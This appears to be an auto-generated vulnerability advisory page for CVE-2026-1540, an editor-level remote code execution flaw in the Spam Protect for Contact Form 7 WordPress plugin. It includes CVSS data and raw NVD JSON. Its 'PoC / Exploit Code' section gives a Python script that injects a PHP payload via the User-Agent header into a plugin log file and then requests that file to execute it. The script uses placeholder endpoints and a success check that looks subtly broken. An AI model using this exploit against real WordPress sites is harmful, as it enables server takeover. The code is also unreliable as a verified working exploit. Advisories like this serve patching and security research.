Security Vulnerability Report
中文
CVE-2026-1540 CVSS 7.2 HIGH

CVE-2026-1540

Published: 2026-04-02 06:16:22
Last Modified: 2026-04-15 15:05:48

Description

The Spam Protect for Contact Form 7 WordPress plugin before 1.2.10 allows logging to a PHP file, which could allow an attacker with editor access to achieve Remote Code Execution by using a crafted header

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Spam Protect for Contact Form 7 < 1.2.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" log_file_url = "http://example.com/wp-content/path/to/spam-protect-log.php" # Attacker needs valid Editor/Admin cookies cookies = { "wordpress_logged_in_xxx": "your_session_cookie_here" } # Malicious payload to be executed # Using User-Agent header as the injection vector payload = "<?php phpinfo(); ?>" headers = { "User-Agent": payload } # Step 1: Trigger the logging mechanism # This endpoint depends on the plugin's specific implementation print("[*] Sending crafted request to inject payload...") data = {"action": "some_plugin_action triggering log"} r = requests.post(target_url, headers=headers, cookies=cookies, data=data) if r.status_code == 200: print("[+] Request sent successfully.") # Step 2: Access the log file to trigger RCE print(f"[*] Accessing log file: {log_file_url}") exec_response = requests.get(log_file_url) if "phpinfo()" in exec_response.text: print("[+] Exploit successful! Code executed.") else: print("[-] Exploit failed or payload not triggered.") else: print("[-] Failed to send initial request.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1540", "sourceIdentifier": "[email protected]", "published": "2026-04-02T06:16:22.337", "lastModified": "2026-04-15T15:05:47.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Spam Protect for Contact Form 7 WordPress plugin before 1.2.10 allows logging to a PHP file, which could allow an attacker with editor access to achieve Remote Code Execution by using a crafted header"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://wpscan.com/vulnerability/ad00d1bb-ea8d-44a3-9064-6412804d9e95/", "source": "[email protected]"}]}}